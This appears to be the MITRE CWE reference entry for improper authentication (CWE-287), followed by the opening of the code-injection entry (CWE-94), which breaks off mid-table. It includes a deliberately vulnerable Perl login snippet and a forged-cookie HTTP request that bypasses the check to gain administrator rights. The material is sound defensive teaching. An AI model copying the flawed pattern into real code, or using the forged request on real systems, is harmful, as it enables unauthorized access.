When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Diagram for CWE-287
+ Alternate Terms
authentification:
An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.
AuthN:
"AuthN" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
AuthC:
"AuthC" is used as an abbreviation of "authentication," but it appears to used less frequently than "AuthN."
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Read Application Data; Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.295Improper Certificate Validation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.306Missing Authentication for Critical Function
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.645Overly Restrictive Account Lockout Mechanism
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.613Insufficient Session Expiration
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.290Authentication Bypass by Spoofing
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.294Authentication Bypass by Capture-replay
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.295Improper Certificate Validation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.306Missing Authentication for Critical Function
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.307Improper Restriction of Excessive Authentication Attempts
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.521Weak Password Requirements
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.522Insufficiently Protected Credentials
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.640Weak Password Recovery Mechanism for Forgotten Password
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

(bad code)
Example Language: Perl 
my $q = new CGI;

if ($q->cookie('loggedin') ne "true") {
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("Error: you need to log in first");
}
else {
# Set loggedin and user cookies.
$q->cookie(
-name => 'loggedin',
-value => 'true'
);

$q->cookie(
-name => 'user',
-value => $q->param('username')
);
}
}

if ($q->cookie('user') eq "Administrator") {
DoAdministratorTasks();
}

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

(attack code)
 
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true

[body of request]

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.


Example 2

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2 References:
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.

Example 3

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors did not use any authentication or used client-side authentication for critical functionality in their OT products.


+ Observed Examples
ReferenceDescription
Chat application skips validation when Central Authentication Service (CAS) is enabled, effectively removing the second factor from two-factor authentication
Python-based authentication proxy does not enforce password authentication during the initial handshake, allowing the client to bypass authentication by specifying a 'None' authentication type.
Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390).
TCP-based protocol in Programmable Logic Controller (PLC) has no authentication.
Condition Monitor uses a protocol that does not require authentication.
Safety Instrumented System uses proprietary TCP protocols with no authentication.
Distributed Control System (DCS) uses a protocol that has no authentication.
SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.
Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390)
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV.
Mail server does not properly check an access token before executing a Powershell command, as exploited in the wild per CISA KEV.
Chain: user is not prompted for a second authentication factor (CWE-287) when changing the case of their username (CWE-178), as exploited in the wild per CISA KEV.
Authentication bypass by appending specific parameters and values to a URI, as exploited in the wild per CISA KEV.
Mail server does not generate a unique key during installation, as exploited in the wild per CISA KEV.
LDAP Go package allows authentication bypass using an empty password, causing an unauthenticated LDAP bind
login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.
admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
product uses default "Allow" action, instead of default deny, leading to authentication bypass.
chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
product does not properly implement a security-related configuration setting, allowing authentication bypass.
authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: High

+ Functional Areas
  • Authentication
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.718OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.812OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1028OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1368ICS Dependencies (& Architecture): External Digital Systems
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

This CWE entry might be misused when lower-level CWE entries are likely to be applicable. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Consider children or descendants, beginning with CWE-1390: Weak Authentication or CWE-306: Missing Authentication for Critical Function.
Suggestions:
CWE-IDComment
CWE-1390Weak Authentication
CWE-306Missing Authentication for Critical Function
+ Notes

Relationship

This can be resultant from SQL injection vulnerabilities and other issues.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication Error
OWASP Top Ten 2007A7CWE More SpecificBroken Authentication and Session Management
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
WASC1Insufficient Authentication
ISA/IEC 62443Part 3-3Req SR 1.1
ISA/IEC 62443Part 3-3Req SR 1.2
ISA/IEC 62443Part 4-2Req CR 1.1
ISA/IEC 62443Part 4-2Req CR 1.2
+ References
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.
[REF-237] OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. <http://www.owasp.org/index.php/Top_10_2007-A7>.
[REF-238] OWASP. "Guide to Authentication". <http://www.owasp.org/index.php/Guide_to_Authentication>.
[REF-239] Microsoft. "Authentication". <http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authentication" Page 109. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2009-01-12CWE Content TeamMITRE
updated Name
2009-05-27CWE Content TeamMITRE
updated Description, Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, References
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Alternate_Terms, Demonstrative_Examples
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Maintenance_Notes, Observed_Examples, Taxonomy_Mappings
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content TeamMITRE
updated Diagram
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Authentication Issues
2009-01-12Insufficient Authentication

CWE-94: Improper Control of Generation of Code ('Code Injection')

Weakness ID: 94
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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Edit Custom Filter


+ Description
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
+ Extended Description

When a product allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the product. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.
Access Control

Technical Impact: Gain Privileges or Assume Identity

Injected code can access resources that the attacker is directly prevented from accessing.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.
Non-Repudiation

Technical Impact: Hide Activities

Often the actions performed by injected control code are unlogged.
+ Potential Mitigations

Phase: Architecture and Design

Refactor your program so that you do not have to dynamically generate code.

Phase: Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

Effectiveness: Discouraged Common Practice

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.913Improper Control of Dynamically-Managed Code Resources
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.95Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.96Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1336Improper Neutralization of Special Elements Used in a Template Engine
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
